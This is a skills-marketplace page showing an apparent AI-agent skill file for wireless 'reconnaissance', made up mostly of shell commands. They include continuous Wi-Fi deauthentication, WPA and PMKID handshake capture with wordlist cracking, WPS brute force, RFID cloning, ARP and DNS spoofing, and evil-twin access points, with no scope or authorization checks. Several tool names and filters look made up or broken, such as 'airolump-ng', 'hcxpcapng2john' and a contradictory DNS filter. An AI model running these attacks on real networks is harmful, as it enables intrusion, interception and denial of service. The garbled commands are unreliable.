Skip to main content

wireless-security

Wireless network security reconnaissance — WiFi analysis, Bluetooth assessment, RFID/NFC evaluation, signal capture, protocol analysis, encryption testing, rogue device detection.

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
15. Juni 2026 um 11:26
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.565
Forks
1.053

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
wireless-security
description
Wireless network security reconnaissance — WiFi analysis, Bluetooth assessment, RFID/NFC evaluation, signal capture, protocol analysis, encryption testing, rogue device detection.
allowed-tools
Bash Read Write
metadata
{"subdomain":"reconnaissance","when_to_use":"wireless security, WiFi analysis, Bluetooth assessment, RFID, NFC, signal capture, protocol analysis, encryption testing, rogue device detection, wardriving, packet capture","tags":"wireless, wifi, bluetooth, rfid, nfc, signal-analysis, encryption-testing, wardriving, packet-capture, rogue-device","mitre_attack":"T1584, T1584.001, T1584.002, T1584.003, T1584.004"}
# Wireless Network Security Reconnaissance Knowledge Base Wireless network security reconnaissance involves identifying, analyzing, and assessing wireless communication protocols and networks for vulnerabilities. This includes WiFi, Bluetooth, RFID/NFC, Zigbee, Z-Wave, LoRaWAN, and other wireless technologies. ## 1. WiFi Network Reconnaissance ### Network Discovery ```bash # Scan for WiFi networks airodump-ng wlan0 # Scan specific channel airodump-ng -c 6 --bssid <BSSID> wlan0 # Scan all channels wash -i wlan0 -C ``` ### Target Identification ```bash # Identify target network airolump-ng wlan0 # Get network information airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0 ``` ### Client Identification ```bash # Identify connected clients airodump-ng -c <channel> --bssid <BSSID> wlan0 # Deauthenticate clients to capture handshakes aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0 ``` ## 2. WiFi Encryption Analysis ### Encryption Type Detection ```bash # Check encryption type airodump-ng -c <channel> wlan0 | grep "CH\s*" # WEP detection (vulnerable) if [ "$(airodump-ng -c <channel> wlan0 | grep WEP)" ]; then echo "WEP detected - vulnerable!"; fi # WPA/WPA2 detection airodump-ng -c <channel> wlan0 | grep -E "WPA|WPA2" # Open network detection airodump-ng -c <channel> wlan0 | grep "OPEN" ``` ### Vulnerability Assessment ```bash # WPS vulnerability check wash -i wlan0 -C reaver -i wlan0 -b <BSSID> -vv bully <BSSID> -c <channel> wlan0 # PMKID attack (if WPA2) hcxpcapngtool -o hash.hc22000 capture.cap --pmkid # WPA handshake capture aireplay-ng -0 10 -a <BSSID> wlan0 ``` ### Key Cracking ```bash # WEP cracking airecrack-ng -b <BSSID> capture.cap # WPA/WPA2 cracking with wordlist airecrack-ng -w wordlist.txt -b <BSSID> capture.cap # Use hashcat for GPU acceleration hcxpcapng2john capture.hc22000 > hash.txt hashcat -m 22000 hash.txt wordlist.txt ``` ## 3. Bluetooth Reconnaissance ### Device Discovery ```bash # Scan for Bluetooth devices hcitool scan # Extended scan with more details bluetoothctl scan on bluetoothctl devices ``` ### Service Discovery ```bash # Discover services on device sdptools browse <device_address> # RFCOMM scan rfcomm -a <device_address> list ``` ### Connection Attempts ```bash # Connect to device bluetoothctl connect <device_address> # Trust and pair bluetoothctl trust <device_address> bluetoothctl pair <device_address> ``` ## 4. BLE (Bluetooth Low Energy) Analysis ### BLE Device Discovery ```bash # Scan for BLE devices hcitool lescan # Scan with more details bluetoothctl scan on ``` ### BLE Service Discovery ```bash # Discover services gatttool -b <device_address> -p /dev/null connect # List services gatttool -b <device_address> -p /dev/null primary # List characteristics gatttool -b <device_address> -p /dev/null characteristics ``` ### BLE Packet Capture ```bash # Capture BLE packets btmon # Filter BLE traffic tshark -i bluetooth0 -f "btcommon.address == <device_address>" ``` ## 5. RFID and NFC Reconnaissance ### RFID Analysis ```bash # Use RFID reader rfidtool --read # Clone RFID tag (if vulnerable) rfidtool --clone --source <source_uid> --target <target_uid> # Proxmark3 commands proxmark3> hf search proxmark3> hf mfdump ``` ### NFC Analysis ```bash # NFC tag reading nfc-list nfc-poll # Mifare Classic analysis mfoc -O mf_dump.bin # NFC URL extraction nfc-mfultralight rdump nfc_dump.bin strings nfc_dump.bin ``` ## 6. Signal Analysis and Capture ### Packet Capture ```bash # WiFi packet capture tcpdump -i wlan0 -n -w capture.pcap # Filter for specific protocol tcpdump -i wlan0 -n port 53 -w dns_capture.pcap # Airplane mode packet capture tshark -i wlan0 -w wireless_capture.pcap ``` ### Spectrum Analysis ```bash # Use SDR (Software Defined Radio) rtl_sdr -f 2412e6 -s 2e6 -g 20 -b 8 -F 0 -l 0 -E deinterleave -E dcblock -E normalized output.raw # Analyze with gnuradio # Requires GNU Radio setup ``` ### Signal Strength Analysis ```bash # Monitor signal strength watch -n 1 "iwconfig wlan0 | grep Signal" # Create signal heatmap kismet ``` ## 7. Rogue Device Detection ### Rogue Access Point Detection ```bash # Detect rogue APs kismet # Use specialized tools wifi-pumpkin -i wlan0 # Detect evil twin attacks airodump-ng -c <channel> wlan0 | grep -E "<known_SSID>|<known_BSSID>" ``` ### Rogue Client Detection ```bash # Detect unauthorized clients airodump-ng -c <channel> wlan0 | grep -v <authorized_mac_list> # Detect MAC spoofing airodump-ng -c <channel> wlan0 | grep -E "<known_MAC_prefixes>" ``` ## 8. Wireless Protocol Analysis ### WiFi Protocol Analysis ```bash # Analyze WiFi management frames tshark -i wlan0 -Y "wlan.fc.type == 0" -V # Analyze WiFi control frames tshark -i wlan0 -Y "wlan.fc.type == 1" -V # Analyze WiFi data frames tshark -i wlan0 -Y "wlan.fc.type == 2" -V ``` ### Bluetooth Protocol Analysis ```bash # Analyze Bluetooth packets tshark -i bluetooth0 -V # Filter for specific Bluetooth protocol tshark -i bluetooth0 -Y "btatt" -V ``` ## 9. Encryption Testing ### WiFi Encryption Testing ```bash # Test WEP encryption strength aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <My_MAC> wlan0 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -e <ESSID> -a <BSSID> -h <My_MAC> wlan0 # Test WPA handshake aircrack-ng -w wordlist.txt -b <BSSID> capture.cap ``` ### Bluetooth Encryption Testing ```bash # Check Bluetooth encryption status bluetoothctl info <device_address> # Test encryption strength # Requires specialized tools ``` ## 10. Advanced Wireless Attacks ### Deauthentication Attacks ```bash # Deauthenticate specific client aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0 # Deauthenticate all clients aireplay-ng -0 10 -a <BSSID> wlan0 # Continuous deauthentication aireplay-ng -0 0 -a <BSSID> wlan0 ``` ### MITM Attacks ```bash # ARP spoofing arpspoof -i wlan0 -t <target_ip> -r <gateway_ip> # DNS spoofing dnsspoof -i wlan0 "tcp port 53 and (udp port 53)" ``` ### Evil Twin Attack ```bash # Create evil twin AP airbase-ng -e <Fake_SSID> -c <channel> wlan0 # Use hostapd # Configure /etc/hostapd/hostapd.conf # Then: hostapd /etc/hostapd/hostapd.conf ``` ## 11. Wireless Security Tools ### WiFi Tools ```bash # Comprehensive WiFi suite aircrack-ng suite # - airodump-ng: Packet capture # - aireplay-ng: Packet injection # - airtun-ng: Virtual tunnel interface # - airolump-ng: WEP and WPA PSK key generator # WPA/WPA2 handshake capture wifite # WiFi signal analysis kismet ``` ### Bluetooth Tools ```bash # Bluetooth scanning and analysis bluetoothctl # RFCOMM tool rfcomm # SDP tool sdptools ``` ### RFID/NFC Tools ```bash # RFID analysis rfidtool # NFC analysis libnfc tools # Proxmark3 proxmark3-client ``` ## Tools Summary | Tool | Purpose | Required | |------|---------|----------| | `airodump-ng` | WiFi packet capture | ✅ | | `aireplay-ng` | WiFi packet injection | ✅ | | `aircrack-ng` | WiFi encryption cracking | ✅ | | `wash` | WPS detection | ✅ | | `reaver` | WPS brute-force attack | ✅ | | `bully` | WPS brute-force attack | ✅ | | `hcxpcapngtool` | PMKID extraction | ✅ | | `hashcat` | Password cracking | ✅ | | `hcitool` | Bluetooth device scanning | ✅ | | `bluetoothctl` | Bluetooth device management | ✅ | | `gatttool` | BLE service discovery | ✅ | | `rfcomm` | RFCOMM channel access | ✅ | | `sdptools` | SDP service discovery | ✅ | | `tcpdump` | Network packet capture | ✅ | | `tshark` | Command-line protocol analysis | ✅ | | `kismet` | Wireless network detector | ✅ | | `rtlsdr` | Software Defined Radio | ❌ | | `proxmark3` | RFID/NFC analysis | ❌ | | `wifite` | Automated WiFi attacks | ✅ |
Auf GitHub ansehen